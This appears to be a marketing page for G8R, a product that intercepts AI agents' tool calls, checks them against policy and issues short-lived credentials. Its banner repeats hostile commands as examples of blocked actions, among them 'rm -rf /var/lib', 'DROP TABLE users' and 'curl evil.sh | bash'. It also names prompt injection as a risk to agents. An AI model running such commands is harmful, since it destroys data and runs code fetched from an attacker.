Bound the agent.Free the enterprise.

G8R inspects every AI agent’s actions, evaluating intent against corporate policies, and brokers just-in-time credentials. Multi-Agent Management for the agentic enterprise.

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VPC-native/Sub-100ms broker/Fail-closed/Tamper-evident audit
Live at the checkpoint
kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3kubectl get podss3:GetObjectredis.GET sessiondescribe_instancesread_logs --tailvault.read kv/appGET /v1/metricslist_incidentsollama.run llama3
kubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bashkubectl delete ns prods3:DeleteBucketDROP TABLE usersiam:CreateUserrm -rf /var/libexfiltrate_secretscurl evil.sh | bash

The execution gap

The defining enterprise AI challenge isn’t maximizing agent autonomy. It’s reliably bounding its execution.

Enterprises are wiring probabilistic models into deterministic infrastructure. Today’s security stack was never built to govern what an autonomous agent decides to do.

Standing

Standing credentials

Agents inherit broad, long-lived privileges. One prompt injection turns that standing access into catastrophic lateral movement.

Blind

The contextual blindspot

WAFs and IAM evaluate IPs, headers, and roles, never the declared action. They cannot tell a safe read from a destructive delete on the same endpoint.

Manual

The approval bottleneck

Routing high-velocity agent actions through change-approval boards creates alert fatigue and erases the efficiency automation promised.

The checkpoint

3 steps between intent & execution.

01Every tools/call, mid-flight.

Intercept

G8R sits natively in your VPC between the agent and your infrastructure. It intercepts each MCP tool call and inference request before anything executes.

→ agent.invoke
tool: kubernetes
action: "delete namespace prod"
02Semantic policy, not static roles.

Evaluate intent

The declared action and execution context are evaluated against deterministic, GitOps-managed YAML policy. G8R reasons about what the agent is actually trying to do.

policy: prod-guardrails.yaml
match: action == delete
verdict: DENY (blast radius)
03Scope-attenuated. Ephemeral. ~60s.

Broker JIT credentials

Approved calls are exchanged for a tightly scoped, just-in-time credential. Valid for seconds, never standing, it is then forwarded. Everything is logged, tamper-evident.

mint: sts:AssumeRole
scope: read-only · ns=prod
ttl: 60s · audit: signed

Multi-Agent Management

MDM tamed fleets of phones. G8R manages fleets of agents.

As enterprises move inference onto their own hardware (mini AI PCs, on-prem GPUs, air-gapped nodes), every agent becomes an endpoint to govern. G8R is the control plane for that fleet: Multi-Agent Management. One controller, every node, wherever the model runs.

G8R control plane
corporate-db · heartbeat · entitlements
dgx-01
llama-3.1-70b
local
dgx-02
nemotron
air-gapped
edge-07
vllm · qwen
local
ws-114
ollama
local
dgx-05
mixtral
local
unknown
unenrolled agent
shadow · flagged

One controller, many nodes

A single corporate control plane governs a fleet of agent and mini-AI-PC nodes over a private tailnet. Enroll, entitle, and bound each like a managed device.

Local-first inference

Sensitive work is routed to air-gapped local models like Ollama, vLLM, and Nemotron, and never leaves your trust boundary. It isn't even scanned, because nothing egresses.

Per-identity entitlements

The effective skill set for any identity is default ∪ groups ∪ allow − deny. Govern what every agent across the fleet is permitted to do.

Budgets, heartbeat & shadows

Cloud spend is capped per identity and fails closed without a controller heartbeat, while local inference stays unlimited. EDR telemetry surfaces shadow agents.

The defensible layer

Identity platforms issue the passport. G8R is the border checkpoint inspecting the payload.

Identity platforms
Is this agent authorized to exist?
Issues broad OAuth scopes
Governs the identity lifecycle
Operates at the SaaS control plane
Mints credentials by who asks
G8R
Is it authorized to run this exact command?
Enforces semantic, action-specific policy
Governs the runtime execution
Operates in your VPC data plane
Brokers JIT credentials by what's asked

G8R secures what AI agents do, not just who they are.

The platform

One governance layer for the agentic enterprise.

Execution context evaluation

Parse the declared action, request context, and policy metadata of every tool call, then authorize against deterministic YAML.

Skill provenance validation

Cryptographically verify that the skill an agent runs was signed and vetted by your AppSec team. Shut down the supply-chain vector.

JIT credential brokering

Exchange an approved action for a scope-attenuated, ephemeral token valid for seconds, never standing privilege.

Shadow-mode policy generation

Observe agent behavior in non-production to auto-generate least-privilege policy. Ship guardrails without hand-writing every rule.

Tamper-evident audit

Emit cryptographically hashed logs of every invocation, intent, and outcome to your SIEM. Non-repudiable forensics by default.

Built in Rust. Deployed in your VPC. Fail-closed by design.

Stateless, sub-100ms credential brokering on a stack engineered for the control path.

VPC-native
Your perimeter, not ours
Local-first inference
Air-gapped models, no egress
Fleet control plane
One controller, many nodes
MCP-native
Speaks the agent protocol
Sub-100ms
Cached credential broker
Tamper-evident audit
NDJSON to your SIEM

Put a checkpoint on every agent.

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